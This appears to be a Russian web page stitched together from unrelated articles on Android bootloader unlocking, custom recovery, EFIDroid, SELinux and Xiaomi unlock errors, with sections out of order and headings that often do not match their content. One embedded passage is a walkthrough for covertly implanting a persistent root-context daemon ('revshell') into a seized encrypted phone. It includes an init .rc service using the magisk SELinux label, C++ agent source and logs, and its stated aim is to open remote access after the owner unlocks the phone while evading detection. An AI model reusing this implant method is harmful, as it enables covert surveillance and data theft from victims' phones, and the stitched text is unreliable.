Как восстановить Bootloader загрузчика андроид: пути исправления, включение отладки по USB через домашний ПК

pereproshivka android Прошивки

На что стоит обратить внимание отдельно?

Но вот когда дело касается кастомных прошивок, которые стали достаточно популярными у множества владельцев мобильных девайсов, с ними нужно быть очень осторожными. Конечно, толковая прошивка или обновление ОС вреда не принесет, скорее наоборот, только улучшит работу устройства, но когда инсталлируется что-то неофициальное, да еще не прошедшее проверку (вроде компьютерных бета-версий), жди беды. Тогда уж точно никакой загрузчик не поможет.

Кстати сказать, немногие соображают, что такие версии способны оказывать слишком сильную нагрузку на «железные» компоненты, что, в свою очередь, может привести к их полной неработоспособности. А ведь поменять процессор в том же смартфоне – дело далеко не самое простое.

Ко всему прочему разблокировка загрузчика в официально выпущенных фирменных гаджетах подразумевает автоматическую потерю гарантии и возможности бесплатного сервисного обслуживания. Так что придется сто раз подумать, перед тем как производить такие действия и операции.

Напоследок остается добавить, что вопрос установки другой ОС на Android-девайс – тоже, в общем-то, достаточно спорный. Да, конечно, система встанет, что бы там производитель ни заявлял. Но вот как она будет работать – это уже другой вопрос, тем более что большинство юзеров обычно ставят какие-то облегченные версии, имеющие неизвестный источник происхождения. А зря.

Тут, как говорится, таких дров наломать можно, что потом греха не оберешься. Да и сам производитель при таких изменениях по действующим международным нормам никакой ответственности за корректную работу мобильного девайса не несет. Поэтому решение о целесообразности и должен принимать сам обладатель гаджета. Но лучше с такими вещами не шутить.

«стандартные» функции кастомных recovery

  • install — устанавливает прошивкуядросистемные утилиты (например набор приложений от google для cyanogenmod) из специального файла. Такие файлы представляют из себя обычные zip-архивы с определённой структурой. Некоторые такие архивы комплектуются специальной утилитой: Aroma Installer, которая представляет собой по сути графический установщик с возможностью выбирать параметры установки. Наличиеотсутствие Aroma Installer никак не связано с качеством или популярностью прошивкиядраутилиты.

  • backuprestore — пожалуй один из самых важных компонентов — позволяет делать полную или частичную резервную копию вашей текущей системы. КРАЙНЕ рекомендуется делать полные бэкапы при смене одной прошивки на другую, или же построенную на основе другой версии Android (например при обновлении с cyanogenmod 9 до 10) и частичные (разделы boot и system) при «минорных» (т.е. в рамках одной версии, например, с 10.1.1 до 10.1.2) обновлениях прошивки. Так же современные recovery генерируют сумму md5 к архиву с бэкапом, что позволяет контролировать его целостность (отсутствие повреждений). Отключить можно, но не рекомендую. Так же хочу посоветовать хранить минимум 2 последних бэкапа. В случае если последний повредится (лично у меня такого не было, но вероятность есть), у нас есть возможность восстановиться с предпоследнего. Вероятность повреждения обоих бэкапов куда ниже, чем одного (если не рассматривать физическое повреждения носителя, где они записаны).

  • wipeformat — очисткаформатирование разделов внутренней памяти. Вообще форматирование в подавляющем большинстве случаев не требуется, обычно достаточно простой очистки (wipe). Разделы cache и dalvik-cache рекомендуется сбрасывать при смене прошивки. Очистка раздела data (она же Factory Reset) ведёт к сбросу всех настроек пользователя, а так же установленных им приложений, иначе говоря, прошивка возвращается к своему первоначальному состоянию. Раздел system хранит саму прошивку и, как правило, автоматически форматируется при установке новой.

  • mount — позволяет монтироватьотмонтировать различные разделы. Это требуется в редких случаях, как правило, при установке модификаций системы. Трогать не надо, если это явно не указанно на странице с описанием устанавливаемого компонента, или же при установке не выведется ошибка о том, что требуемый раздел не примонтирован (например что-то в духе «error… no mount /system»).

Android: efidroid — мультизагрузчик для смартфона

Наверняка ты не раз слышал о загрузчике MultiROM, позволяющем установить на смартфон сразу несколько разных прошивок и переключаться между ними. Но MultiROM неидеален: он требует пропатченное ядро, специальную версию TWRP Recovery и совместим не со всеми прошивками. EFIDroid лишен его недостатков, он работает на любом ядре и может загрузить что угодно.

Если ты читал мою старую статью о мультизагрузке, то знаешь, что MultiROM — это не совсем загрузчик. Он внедряется не между первичным загрузчиком и прошивкой, а в саму прошивку (а если быть точным — в RAM-диск). Так что технически это система запуска одной прошивки из другой. Отсюда и требование ядра с патчем kexec.

EFIDroid — полноценный UEFI-загрузчик, выступающий в качестве вторичного. Он запускается первичным загрузчиком смартфона, выводит меню выбора и затем загружает выбранную прошивку. Точно так же, как на обычном десктопе.

EFIDroid не устанавливает специальную версию TWRP, не модифицирует текущую прошивку и не принуждает использовать специальный интерфейс TWRP для установки дополнительных прошивок. И установить, и удалить прошивки можно прямо в Android, используя EFIDroid Manager.

Однако EFIDroid сильно завязан на железо. Он использует возможности Little Kernel (LK), фирменного загрузчика Qualcomm, а потому работает только на устройствах с соответствующим чипсетом. Более того, на данный момент поддерживается всего тринадцать устройств, включая OnePlus One, Motorola Moto G, Moto E, Samsung Galaxy Note 4, Xiaomi Mi2, Mi3w, Mi4 и Redmi Note 3 Pro.

Для установки на поддерживаемое устройство необходимо получить root и установить TWRP. Затем скачиваем EFIDroid Manager, переходим в раздел Install/Update и нажимаем большую круглую кнопку. После этого можно приступать к установке прошивок. Но сначала необходимо создать образ на карте памяти, в который будет установлена новая прошивка.

Для этого переходим в раздел Operating System, нажимаем , выбираем иконку, добавляем имя и описание, выбираем место хранения образа и нажимаем галочку. Скачиваем нужную прошивку и кладем ее либо на внешнюю карту памяти, либо на флешку, подключенную с помощью OTG. Это необходимо сделать, так как запущенный для установки второй прошивки TWRP просто не увидит внутренний накопитель. Далее перезагружаемся.

На экране должно появиться загрузочное меню EFIDroid. Мышь здесь не работает, поэтому управлять придется с помощью клавиш громкости (вверх/вниз) и включения питания (Enter). Выбираем пункт TWRP, далее — созданный ранее образ и устанавливаем прошивку, как обычно. При следующей загрузке выбираем нужную прошивку.

Вот и все. Но это лишь вершина айсберга, на самом деле потенциал EFIDroid намного больше. В теории его можно использовать для запуска традиционных EFI-приложений. Например, установить полноценный загрузчик GRUB для нативной загрузки Linux на смартфоне. Ну или добавить поддержку fastboot на устройство без его поддержки (привет, Samsung).

Selinux

Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством.

Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.

Уровни контроля доступа в android
Уровни контроля доступа в android

Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис.

Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает “выше” DAC и может запретить любое действие, которое DAC разрешил.

Вот отличный пример в android с самим файлом, содержащим политики SELinux:

$ ls -laZ /sys/fs/selinux/policy                                                                                             
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy                                                                                                  
cat: /sys/fs/selinux/policy: Permission denied

На нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.

SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te  в исходниках android, можно посмотреть примеры вот тут.

Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ. 

Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст.

Политики SELinux специально строятся по принципу “запрещено всё что не разрешено”, и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать.

SELinux может работает в трёх режимах:

В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна.

В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик.

Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?

Step 3: enable usb debugging and oem unlocking on your device

‘USB Debugging’ and ‘OEM Unlocking’ are two of the most widely used options we talk about while unlocking a bootloader or rooting an Android device. But what exactly are they and what role do they explicitly perform?

Well, as far as ‘USB Debugging’ is concerned, it is used to establish an ADB connection between your Android device and PC. ADB stands for “Android Debugging Bridge” and as the name suggests it creates a bridge (virtual link) between your Android device and the PC. This is used not only for effective communication between the device and the PC but also for executing various commands.

Whereas ‘OEM Unlocking’ is exclusively used for bootloader unlocking purposes. If you want to tweak with your device software, root your device or flash MODs then the first requirement is to have an unlocked bootloader. And this is where OEM Unlocking comes into play. Until and unless you enable this option, you won’t be able to carry on with the unlocking process.
Enable OEM Unlocking Option on your Android Device

Step 6: unlock your android device bootloader using fastboot

  1. Make sure your device is in bootloader/fastboot mode and connected to PC.
  2. In order to unlock the bootloader of Google Nexus/Pixel devices or other OEM devices launched in 2022 or later, type the below command:
    fastboot flashing unlock
  3. For all other devices and the Nexus devices launched prior to 2022, type the following code to unlock the bootloader:
    fastboot oem unlock
  4. As soon as the command is executed, you should see a confirmation message on your Android device’s screen, seeking your response on unlocking the bootloader.
  5. Use the Volume buttons to highlight ‘Unlock the Bootloader’, ‘Yes’ or similar options. Then press the Power button to confirm the selection.
    Confirm Bootloader Unlock Message on your Android Device
  6. Once the bootloader is unlocked, the phone will reboot back into Fastboot Mode. Simply enter the command below to boot it into the PC:
    fastboot reboot

That’s it. You have successfully unlocked the bootloader on your Android device. Note that when your device boots up for the first time, it might take up a little more time than usual. This is completely normal. Also, you will have to set up your device all over again as all the data on your device would have been wiped off.

With your bootloader unlocked, you could now install install a custom recovery like TWRP to flash custom ROMs/kernels, root your device via Magisk or even tweak your device software with the help of various mods like ViPER4Android.

Also, if you have any doubts with regards to unlocking the bootloader on your device, do ask in the comments section below.

Внедряемся в систему без установленных root-прав

Первое приходит на ум мысль о том, что мы можем просто взять устройство с которого хотим извлечь данные, прошить в него magisk используя TWRP, а затем, сразу же следом прошить наш бэкдор. Технически это сработает, т.к. вместе с magisk установятся и его политики SELinux, благодаря которым он сможет работать, но в этом случае, пользователь сразу же поймёт, что что-то не так.

Он не устанавливал magisk, а magisk на устройстве есть. Значит, в то время как устройство было изъято злоумышленником, он что-то в него прошивал. Пользователь не сможет заметить этого до того как введёт код разблокировки, однако проблема в том что во время разблокировки интернет на устройстве пользователя может быть выключен, мы не получим удалённый доступ, а пользователь, обнаружив то что в его устройство пытались что-то прошить может удалить необходимую информацию, удалить magisk, начать разбираться что не так, обнаружить бэкдор, или просто сбросить телефон до заводских настроек вследствие чего интересующие нас данные будут уничтожены.

Нам нужно постараться любой ценой избежать обнаружения, поскольку от этого зависит получится у нас изъять данные или нет. По сути, нам, в общем-то, не нужны root-права в обычном понимании, нам не нужен терминал с uid=0 для того, чтобы вводить какие-то команды.

Нам не нужен исполняемый файл su, т.к. uid=0 мы можем получить и от процесса init. Нам не нужны и сторонние инструменты, которые поставляются с magisk. Нам не нужно приложение MagiskManager. Всё что нас интересует – это контекст u:r:magisk:s0. Получим контекст – получим удалённый доступ.

Нам не только не нужно всё вышеперечисленное, нам очень желательно ничего из этого не устанавливать, т.к. это – маркеры компрометации. Если пользователь запустит какую-нибудь популярную проверку на root, то она нас обнаружит, это же может случиться и в одном из приложений, установленных на его устройстве, оно обнаружит что на телефоне установлены root-права и уведомит пользователя об этом.

Обнаружить root-права на устройстве, в частности magisk, можно по-разному. Можно банально проверить наличие установленного менеджера в системе или попытаться найти испоняемый файл su или magisk (magisk создаёт символическую ссылку su которая на самом деле указывает на исполняемый файл magisk)

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell
    disabled
    seclabel u:r:magisk:s0
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

#pragma once

#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>

#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,    LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN,     LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,     LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,    LOG_TAG, __VA_ARGS__)

#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"

revshell.hpp

#include "revshell.hpp"

bool check_fs_decrypted() {
    bool result = false;
    struct dirent *entry;
    DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR);
    if (dir == NULL) {
        return result;
    }
    while ((entry = readdir(dir)) != NULL) {
        if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) {
            result = true;
        }
    }
    closedir(dir);
    return result;
}

int run_in_main_proc() {
    LOGD("Start successfull!n");

    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGQUIT, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGKILL, SIG_IGN);

    LOGD("Signals are set to ignoren");

    int timer_counter = 0;
    int timer_step = 5;

    LOGD("Hey I'm a revshell process!n");
    LOGD("My PID -- %dn", getpid());
    LOGD("My parent PID -- %dn", getppid());
    LOGD("My UID -- %dn", getuid());
    LOGD("Awaiting encrypted FS decryption now...");

    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter   timer_step) % INT_MAX;
        if (check_fs_decrypted()) {
            LOGD("FS has been decrypted!");
            break;
        }
    }

    LOGD("Starting reverse shell now");
    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter   timer_step) % INT_MAX;
        LOGD("tick ! %d seconds since process started", timer_counter);
    }

    LOGD("Exit!n");

    return 0;
}

int main(int argc, char *argv[]) {
    return run_in_main_proc();
}

revshel.cpp

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку “android”, которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

$ adb logcat | grep revshell

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

01-31 23:42:07.587  3589  3589 D revshell: Start successfull!
01-31 23:42:07.588  3589  3589 D revshell: Signals are set to ignore
01-31 23:42:07.588  3589  3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588  3589  3589 D revshell: My PID -- 3589
01-31 23:42:07.588  3589  3589 D revshell: My parent PID -- 1
01-31 23:42:07.588  3589  3589 D revshell: My UID -- 0
01-31 23:42:07.588  3589  3589 D revshell: Awaiting encrypted FS decryption now...

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597  3589  3589 D revshell: FS has been decrypted!
01-31 23:42:27.597  3589  3589 D revshell: Starting reverse shell now
01-31 23:42:32.597  3589  3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598  3589  3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599  3589  3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600  3589  3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

$ adb shell
$ ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          3589     1 0 23:42:06 ?     00:00:00 revshell
u:r:shell:s0                   shell         5546  5495 1 23:48:21 pts/0 00:00:00 grep revshell

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

$ su
# kill -9 3589
# ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          5592     1 0 23:51:34 ?     00:00:00 revshell
u:r:magisk:s0                  root          5601  5573 5 23:52:08 pts/1 00:00:00 grep revshell

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Возможные ошибки

Во время разблокировка загрузчика Сяоми могут возникать различные ошибки. Ниже приведены типичные ошибки и их решения:

  • Current account is not bound to this device сообщает, что этот аккаунт не привязан к устройству. Нужно сначала привязать телефон к аккаунту, а затем повторить процедуру разблокировки.
  • Your device isn’t supported by Mi Unlock говорит, что телефон не поддерживается конкретной версией Mi Flash Unlock. Вероятно, у вас стоит китайская прошивка или кастомная версия. Нужно прошиться на Global Stable и затем повторить процедуру.
  • Unknownerror90000 возникает в случае, если на ПК уже было разблокировано 5 устройств. Провести такую же процедуру с 6 программа не даст. Нужно сменить ПК или операционную систему.
  • Ошибка 501 — нужно переустановить драйверы ADB. Именно они вызывают ошибку с таким кодом. После переустановки перезагрузите ПК и начните заново.
  • NetworkError — ошибка сети. Попробуйте включить/выключить VPN и повторить процедуру. Если это не помогло, то проблема на серверах Xiaomi. Нужно просто подождать.
  • Mi Unlock not connected to the phone — для решения этой ошибки нужно переместить программу Mi Flash Unlock в корень диска. И проследите, чтобы в пути к файлу EXE не было никаких кириллических символов.
  • Unlock failed return to fastboot говорит, что разблокировка не удалась. Переустановите драйверы, включите/выключите VPN и повторите процедуру. Если ничего не помогает, попробуйте заменить кабель USB.

Разблокированный загрузчик даёт пользователям свободу действий. Но в то же время он негативно влияет на безопасность и не позволяет получать необходимые обновления. Так что без острой необходимости разблокировать Bootloader не нужно.

Как защититься?

Самый простой подход, для которого даже не нужно ничего предпринимать – отказаться от использования root-прав и альтернативных прошивок. Это спорный совет для тех кто пользуется альтернативными сборками для прокачки приватности своего устройства. Это моё личное мнение, но я считаю, что нынешний стоковый android очень даже неплох.

Я долгое время интересуюсь модификациями системы, направленными на усиление приватности и безопасности, и должен отметить, что в последних трёх версиях ОС была проделана впечатляющая работа по сокращению возможностей для сбора информации с устройства.

Разумеется, от некоторых вещей в android Google ни за что не откажется, и на стоковой прошивке никогда не отделаться от рекламного идентификатора, но тем не менее большую часть bloatware можно безболезненно отключить. Плюс, у пользователя android всё ещё есть свобода самостоятельно решать какими именно приложениями он будет пользоваться и откуда их устанавливать.

Не обязательно полагаться на google play, можно использовать альтернативные репозитории, например F-Droid. Не обязательно завязываться на экосистему Google. Можно в качестве альтернативы использовать NextCloud на собственном сервере. В общем, при правильном подходе можно заменить в стоковой системе практически всё и получить устройство, которое будет практически так же хорошо как и на альтернативной прошивке, при этом иметь заблокированный загрузчик и все плюсы использования немодифицированного устройства, такие как работающий Google Pay и платежи касанием по NFC, беспроблемно работающие приложения банков и иные полагающиеся на проверки SafetyNet, нормально работающая камера и т.д.

Как устроено шифрование хранилища

Для начала разберёмся как устроено шифрование хранилища, потому что это самое труднопреодолимое препятствие для изъятия данных. Шифрование применяется на уровне файловой системы. Существует два основных подхода к организации шифрования:

  • FDE – full-device-encryption – полнодисковое шифрование. Это значит что всё устройство хранения зашифровано, и даже загрузка операционной системы невозможна до его расшифровки. Поэтому в этом случае владельцу устройства для работы с ним сначала, ещё до загрузки операционной системы, необходимо ввести ключ с помощью которого хранилище будет расшифровано и только потом произойдёт загрузка системы. Такой подход требовал “двойной” загрузки системы, сначала в минимальном варианте для показа формы ввода пароля, а потом в полноценном, после расшифровки хранилища. Он применялся на некоторых устройствах с версиями android 5-7, однако на современной версии ОС и современных устройствах не используется

  • FBE – file-based-encryption – шифрование отдельных частей файловой системы. Применительно к android зашифрованы только те части системы, где хранятся данные пользователя. Незашифрованным остаются ядро, системный раздел, и т.д. Строго говоря, проще перечислить то, что зашифровано, а зашифрованы только /data/data и /data/media. Все остальные части системы остаются незашифрованными. Это позволяет операционной системе успешно загружаться до экрана авторизации пользователя, стартовать системные сервисы и accessibility сервисы, принимать SMS. Начиная с android 7 и переходом на FBE появилось Directboot API, которое даёт приложениям возможность запускаться и в ограниченном режиме работать до ввода кода разблокировки и расшифровки файловой системы. FBE позволяет сочетать высокие стандарты защиты данных в хранилище и отличный пользовательский опыт. Пользователь не отвлекается на ввод дополнительного пароля до запуска системы, система не тратит ресурсы на шифрование и расшифровку частей файловой системы где не содержится личных данных владельца. Это современный подход, который используется на современных устройствах и является обязательным для всех новых устройств, начиная с android 9.

Официальный и неофициальный способ разблокировки

Существует два способа разблокировать Bootloader:

  1. Официальный — нормально работает на всех смартфонах.
  2. Неофициальная разблокировка — требует особых навыков, есть большой шанс превратить телефон в «кирпич».

Официальный способ заключается в привязке Mi аккаунта к телефону и разблокировке при помощи программы Mi Flash Unlock. Однако с того момента, как вы подать заявку на разблокировку загрузчика Xiaomi (отправили запрос на сервер) должно пройти не менее 360 часов.

Стоит также заметить, что если телефоном и аккаунтом пользовались мало, Xiaomi может отказать в разблокировке и посоветовать пользователю почаще пользоваться телефоном. В этом случае процесс разблокировки нужно повторить через несколько недель.

Неофициальная разблокировка позволяет разблокировать загрузчик Xiaomi без аккаунта и требует модифицированную версию программы Mi Flash Unlock под конкретную модель телефона. Также нужно будет установить все драйверы ADB и Fastboot для последующей работы с командной строкой.

Многие телефоны в случае неофициальной разблокировки прошиваются при помощи замыкания контактов (так называемый EDL режим). Делать это категорически не рекомендуется. Даже в мастерских. Риск получения «кирпича» крайне велик.

Внимание! Разблокированный загрузчик позволяет хакерам получить доступ к устройству даже дистанционно. Поэтому после проведения всех действий, его необходимо снова заблокировать.

Оба варианта требуют наличия компьютера с установленными драйверами ADB и софтом. Разблокировать загрузчик Xiaomi без ПК невозможно. На телефоне без ПК можно только проверить статус загрузчика: открыт или закрыт.

Ниже описана процедура официальная процедура разблокировки загрузчика Xiaomi для Redmi, Mi и POCO.

Получение удалённого доступа

Для android существует популярная полезная нагрузка в Metasploit фреймворке которая теоретически может дать нам удалённый доступ к устройству – android/meterpreter/reverse_tcp, однако с ней есть проблемы:

  • Она поставляется в виде обычного приложения. Мы технически не можем установить в android приложение в зашифрованное хранилище, плюс даже если бы могли, это явный шанс скомпрометировать себя, т.к. приложение будет видно в лаунчере и в списке установленных приложений в настройках, а если на устройстве пользователя установлено одно из антивирусных решений, то оно может задетектить его как вирус по публично доступным признакам. Мы можем пересобрать его изменив сигнатуры или даже внедрить в какое-нибудь другое приложение, но сути это не поменяет. 

  • Она была рассчитана на более старые версии android и часть её функций может не работать на современных версиях системы. Некоторые её возможности требуют подтверждения руками системных диалогов с разрешениями, некоторые просто не заведутся.

  • Она работает как обычное непривилегированное приложение, а значит ни к чему особо доступ иметь не может. Если на системе нет root-прав, то мы сможем получить только файлы из общего хранилища и только после подтверждения пользователем диалога с разрешением что автоматически выдаст нас. Если на системе есть root-права, то получить их мы сможем только после явного подтверждения диалога с разрешением. Мы могли бы руками отредактировать базу данных magisk для внесения себя в список приложений которым доступен root и отключить для себя логирование и уведомления о предоставлении root-доступа, но для этого нам нужно отредактировать файл из внутренней директории приложения, а она зашифрована. 

  • Будучи обычным приложением она будет попадать под управление жизненным циклом, система в лучшем случае будет отправлять её в сон в doze-mode, в худшем – просто убьёт и перезапустить её будет некому. Умер процесс приложения – умер и процесс агента, поскольку является дочерним процессом приложения. 

Для того, чтобы агент мог без проблем поддерживать себя постоянно запущенным, не отсвечивать в операционной системе и не попадать под регулирования и ограничения для установленных приложений, необходимо оформить его в виде системного сервиса – демона.

Для того, чтобы понять как именно это сделать, нужно вернуться к процессу загрузки системы, однако теперь мы верхнеуровнево рассмотрим оставшуюся её часть происходящую сразу после рассмотренного в начале boot flow, т.е. когда загрузчик загрузил раздел boot, отработал механизм verified boot и система получила добро на запуск:

  • Ядро и ramdisk распаковывается в оперативную память, и загрузчик запускает ядро.

  • Ядро стартует, инициализирует устройства, драйверы и т.д. и монтирует ramdisk в корень файловой системы. Ramdisk содержит минимальный набор файлов необходимых для запуска пользовательской части системы. Бинарник init, минимальный скрипт init.rc для него, точки монтирования разделов: /system, /vendor и др. и информацию об устройствах которые необходимо в них смонтировать. Вот тут описаны примеры содержания ramdisk для разных версий android. 

  • Далее процесс может проходить по нескольким сценариям, но в целом, конечная цель работы ядра на этапе загрузки – запустить исполняемый файл init, который продолжит загрузку системы уже не в пространстве ядра, а в пространстве пользователя. 

  • Первое что делает процесс init сразу после запуска – загружает скомпилированные политики SELinux и применяет их. SELinux – это механизм ядра для принудительного контроля доступа, пришедший в android из RedHat-подобных дистрибутивов. Мы ещё вернёмся к нему и рассмотрим его более подробно.

  • Далее процесс init парсит скрипт init.rc из ramdisk, который содержит список действий которые необходимо совершить для успешной загрузки системы, а также какие ещё .rc скрипты необходимо загрузить. Android использует свой формат скриптов для загрузки компонентов системы.

  • После отработки всех скриптов мы получаем полностью запущенную систему.

Судя по всему, для внедрения в систему в качестве демона нам потребуется подготовить исполняемый файл с полезной нагрузкой и описать системный сервис, который будет его вызывать. 

Исходный init.rc импортирует дополнительные скрипты из нескольких директорий, в том числе и основного источника этих скриптов из системного раздела: /system/etc/init/.rc, поэтому мы подготовим свой скрипт и поместим его туда.

Синтаксис .rc скриптов несложный, он хорошо описан здесь, а ещё можно подглядеть в то, как именно он устроен просто заглянув в файлы в вышеупомянутой директории.

Подготовим описание нашего сервиса:

service revshell /system/bin/revshell
    disabled
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Укажем название сервиса revshell.

Путь к исполняемому файлу будет лежать в стандартной директории для бинарников в android. Агента мы поместим именно туда.

disabled означает то, что его не нужно загружать непосредственно в процессе загрузки системы сразу после обработки скрипта. Мы будем стартовать сервис специальным триггером, который ориентруется на объявление проперти sys.boot_completed.

shutdown critical означает то, что сервис критический и не должен убиваться даже при подаче сигнала о выключении системы.

План таков: система запустит нашего агента при загрузке до попадания на экран ввода кода разблокировки. Агент ожидает расшифровки файловой системы. После того как владелец устройства введёт код разблокировки, агент запускает reverse-shell и предоставляет нам доступ в систему с возможностью достать любые файлы.

На системный сервис не распространяются правила OOM-киллера и правила энергосбережения, он не будет остановлен если в системе заканчивается память, или она уснёт. В случае завершения процесса сервиса по любой причине, система будет его рестартовать не позднее чем через 5 секунд.

Выглядит как раз как то что нам нужно, однако тут нашим ожиданиям суждено встретиться с суровыми реальностями организации безопасности в android. Если мы попытаемся установить сервис подобным образом, то система его проигнорирует, а dmesg сообщит нам что-то похожее на это:

avc: denied { transition } scontext=u:r:init:s0 tcontext=u:object_r:system_file:s0

Популярные вопросы

Часто задаваемые вопросы

Если я купил новый (другой) телефон Xiaomi, как разблокировать его?

Ждем месяц после разблокировки предыдущего телефона. Входим под эти же Mi аккаунтом в программу Mi unlock и делаем разблокировку нового. Заявку уже подавать не нужно. Этим аккаунтом можно снимать блокировку каждый новый месяц с одного телефона.

Нужна ли сим карта?

Раньше нет, теперь нужна.

Нужно ли использовать только 64-битную Windows?

Нет. Битность не важна для разблокировки. Она иногда требуется при прошивке.

После разблокировки можно ли будет получать OTA обновления?

Да, вы будете как и прежде получать обновления Miui.

Отображается информация, что загрузчик разблокирован, но проверка через adb показывает обратное, почему?

Скорее всего в телефон заливали прошивку в обход загрузчика. Рекомендуем перепрошить телефон и сделать все заново.

Правда ли, что функция сканера пальца и поиска устройства будет недоступна после анлока?

Нет, это неправильный перевод. Защитные параметры данных функций ослабнут, но ими можно будет пользоваться. Суть в том, что знающий человек сможет теперь обойти эту защиту.

Снимается ли с телефона гарантия?

Нет, поскольку возможность разблокировки предусмотрена производителем. Если же вы перепрошивками сломали телефон или установили root-доступ, то гарантия перестает распространяться на ПО.

Почему Xiaomi блокирует телефоны?

Эта требование Google и метод усиления безопасности ваших данных.

Работает ли этот способ на Xiaomi Redmi Go?

